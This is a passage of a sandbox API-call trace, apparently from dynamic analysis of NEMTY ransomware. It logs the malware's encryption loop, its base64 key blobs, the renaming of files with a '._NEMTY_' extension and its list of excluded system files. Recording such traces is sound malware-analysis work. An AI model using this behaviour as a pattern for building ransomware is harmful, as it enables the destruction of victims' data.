pszString="CuE9JtpcalcTamMhdNDIw/K00reygZzAhN+/GzwV/5+rvjmFacWBhnV3VJmvPNV4\r\ndvP5zIZ5W1ijsoHUpcvGkVQ52CSKGuq3PdlbQPO5R2Jr5e7SUwisVmArpDvCkqCi\r\neSUC3NYRnXO8dU1Gkne5g5vYWKWAWCvi4ZMGIrEsyLrka1cU42H0Np9CaYQe8Uf/\r\nLde1fQLJT07P2ToZzos+2fEEU5T7co81ukgPkeAUlF4iNUEWtuLaTB6s7PxnycDQ\r\n4U30etbqvgvxJZCipyyexz//eZGCbxEKBQszlZe9obPKf87i+Y1+PorNqUOkKu6x\r\nihyPtBWUXa8/BH1uA3u0tw==\r\n", pcchString=0x653e91c) returned 1 [0111.101] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0111.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0111.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.102] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.102] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.103] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.103] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.112] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.112] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.112] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.121] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.121] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.121] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.131] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.131] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.131] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.140] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.140] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.140] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.149] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.149] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.149] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.159] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.159] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.159] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.168] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.168] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.168] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.178] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.187] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.196] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.196] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.208] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.208] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.209] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63402e8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0111.209] CloseHandle (hObject=0xffffffff) returned 0 [0111.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0111.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0111.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0111.209] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0111.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0111.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340500 [0111.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.209] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev-hot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev-hot.png._nemty_kgobjgd_")) returned 0 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0111.209] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x823c5efe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x823c5efe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x282400f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2=".") returned 1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2="..") returned 1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2="...") returned 1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2="windows") returned -1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2="$RECYCLE.BIN") returned 1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2="rsa") returned -1 [0111.209] lstrcmpiW (lpString1="bPrev.png", lpString2="NTDETECT.COM") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="ntldr") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="MSDOS.SYS") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="IO.SYS") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="boot.ini") returned 1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="boot.ini") returned 1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="AUTOEXEC.BAT") returned 1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="ntuser.dat") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="desktop.ini") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="CONFIG.SYS") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="RECYCLER") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="BOOTSECT.BAK") returned 1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="bootmgr") returned 1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="programdata") returned -1 [0111.210] lstrcmpiW (lpString1="bPrev.png", lpString2="appdata") returned 1 [0111.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev.png", lpUsedDefaultChar=0x0) returned 9 [0111.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev.png", lpUsedDefaultChar=0x0) returned 9 [0111.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev.png", lpUsedDefaultChar=0x0) returned 9 [0111.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0111.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bPrev.png", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bPrev.png", lpUsedDefaultChar=0x0) returned 9 [0111.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0111.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0111.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0111.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0111.211] Sleep (dwMilliseconds=0x5) [0111.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5f15070, dwHighDateTime=0x1d561e7)) [0111.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf5f15070, dwHighDateTime=0x1d561e7)) [0111.226] GetLastError () returned 0x5 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0111.226] GetLastError () returned 0x5 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0111.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0111.226] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0111.226] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0111.226] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0111.226] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="lw/PDr5U/iPuqlE4SShjvMZXYD5Y82OtTuXbu3DHTEwpnYsxxzFUHMc/8dotjE6+\r\n0O+zFtZK7XfsVjAH4NLvGwF0wO4V8aLpRZkFnWyk8JnAzv7IHchbiXoy+CQ8FktE\r\nkTbbXsljMq+9XATzQ5Vh3b85vdoIDlrHzI7LRJLPPom2zyM4c2UdVdT2Tx6huJX6\r\nItQdDrbykPrlHIVErB7XfELUlximwpvHR310z8TzrvTZnk+Cl+Pr2nX+p9ute7PW\r\nFo9hs26ulJ6mWyOPCjjWBQMNYLmuDtlN8vulFIAKyWylAQShEV1vmD/v6w9bRWlE\r\nLdPJEwqPz9X6CwCS6P59SQ==\r\n", pcchString=0x653e91c) returned 1 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0111.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0111.226] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0111.226] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0111.226] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\bprev.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.227] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0111.227] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0111.227] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.227] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.236] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0111.245] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0111.245] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0111.245] SetFilePointer 